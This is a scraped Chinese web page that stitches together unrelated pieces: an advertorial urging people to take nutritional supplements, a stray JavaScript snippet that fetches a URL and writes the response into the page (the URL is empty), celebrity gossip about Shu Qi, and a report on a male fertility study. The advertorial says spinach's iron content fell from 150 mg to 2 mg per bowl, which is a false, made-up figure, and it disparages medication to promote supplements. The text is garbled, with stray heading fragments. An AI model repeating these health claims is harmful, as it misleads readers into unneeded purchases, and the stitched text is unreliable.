為什麼要吃營養補充品?
汽機車要定期保養，因為定期保養才能保持性能延長使用壽命!!
那身體感冒呢? 很多人都是要等到生病了才去求助醫生的幫忙!
結果長期吃西藥，造成肝腎的負擔，導致要用更多的藥控制!
這時候才知道"預防勝於治療"!
又一堆早知道出現在腦中!
很多人說我均衡飲食吃很多蔬果，應該沒有補充保健食品的必要吧!
我只能說如果你吃的量夠的話，那就不用了!
飲食 健康
但目前的農作物蔬果因為要快速採收以供應市場，加上土地不斷的重複利用，土壤裡的養分幾乎已被吸收殆盡，因此種出來的蔬果裡頭的營養素不像以前一樣那麼營養。
根據日本所做的一項調查，現在的菠菜裡頭所含的維他命C，已經遠遠比不上多年前一顆菠菜所含的維他命C的含量了，與Robert G. Allen的《你的健康正遭受威脅》這本健康報告裡頭提到的數據不謀而合，這本健康報告說一九四八年的時候，一碗菠菜所含的鐵大約是一百五十毫克(milligrams)。不過現在，相同份量的菠菜卻只有兩毫克的鐵！現在您必須吃下七十五碗的菠菜，才能獲得五十年前相同份量的礦物質！所以真相是我們自以為均衡飲食，結果根本只有極少數的人可以做到；我們自以為吃的蔬菜水果很營養，結果這些食物中所含的營養竟如此貧乏！真是相當驚人的真相！
保健食品，是平常就要補充攝取，它並不是藥，可以馬上見效。
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2017年01月31日 16:59
function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
document.write(httpGet(theUrl));
記者陳芊秀／綜合報導
藝人舒淇和馮德倫婚後感情甜蜜，老公趁過年悄悄飛台灣陪她回娘家，小倆口現身陽明山竹子湖被粉絲捕獲，連拍大合照互動都閃到網友眼瞎。升格當人妻的她迎接第一個農曆年，主演電影《健忘村》也正在上映中，31日曬出劇照宣傳，留言令人聯想到在告白啦！
▲舒淇、馮德倫過年現身陽明山被粉絲捕獲。（圖／翻攝自IG）
舒淇PO文：「鴨子不能飛是因為他喜歡思念 但我就是想飛到你身邊???。」其實這是電影中情書的內容，不過戲外和老公馮德倫因工作經常分隔兩地，因此被聯想到同時也是趁機向老公表白，粉絲形容這段話「意義深遠」，還有網友敲碗「希望能偶爾發合照，特別喜歡看妳幸福的模樣。」
▲舒淇曬電影劇照，台詞被聯想到向老公告白。（圖／翻攝自舒淇IG）
事實上，舒淇和馮德倫婚後雖然低調，無預警放閃總是掀起轟動。包括大年初一老公曬出兩人養的愛貓合照，還有一張「老公視角」的照片被對方放在IG，黑白色調的畫面中，她正在車內滑手機，近日肚皮動靜更是熱門話題，夫妻倆一舉一動備受兩岸三地粉絲關注。
菸酒未必會“傷精”
研究人員從14家孕產診所招募了2249名男性，其中939人的游動精子數較低，其餘1310人的游動精子數則處於正常水平。研究人員要求所有參與者仔細填寫關於生活方式的問卷。
對比結果表明，對游動精子數影響最大的五個因素分別是：曾動過睾丸手術；屬於黑色種族人群；長期從事體力勞動；常穿緊身內褲；從未有過孩子。而煙草、酒精、毒品則幾乎不對精子質量產生影響。
菸酒仍需適量
護 腳踝Limit the 'Bad Habits'
儘管菸酒不影響精子活力，但精子體積、形狀等因素也對生育構成影響，因此參與研究的科學家們表示，遠離煙草、酒精和過量攝入食物仍然是“不錯的健康忠告”。
頭疼曼徹斯特大學的安德魯·波維博士（Dr. Andrew Povey）介紹，生活方式的選擇可能對日常健康影響較大，但對生育能力的影響微乎其微，“很多我們曾經以為對生育很重要的生活習慣，其實並不重要。這一發現將顛覆男性以往接受的'生育忠告'。”
謝菲爾德大學的艾倫·帕西博士（Dr. Allan Pacey）說，完全沒有必要將未來的準爸爸們都變成清心寡欲的僧侶。帕西博士建議，男性放棄緊貼身體的三角內褲，轉而穿著寬鬆的四角短褲，將更有助於擁有優質精子。
加拿大阿爾伯塔大學的尼古拉·徹利（Prof. Nicola Cherry）教授評論，“體力勞動導致精子活動能力降低”這一發現與之前的研究結果吻合，工作環境中的化學物質確會影響精子質量。徹利教授建議，有計劃要孩子的男性，工作強度應盡可能降低。
這項研究獲得了英國國家健康與臨床優化研究所（The National Institute for Health and Clinical Excellence）的重視，並且已經發表在學術期刊《人類繁殖》（Human Reproduction）雜誌上。
然而，值得注意的是，這項研究主要用游動精子數來體現精子質量。更多的因素，比如精子體積大小、形狀、以及精子攜帶遺傳物質等，尚未涉及到研究中。因此，參與研究的科學家們表示，遠離煙草、酒精和過量攝入食物仍然是“不錯的健康忠告”。
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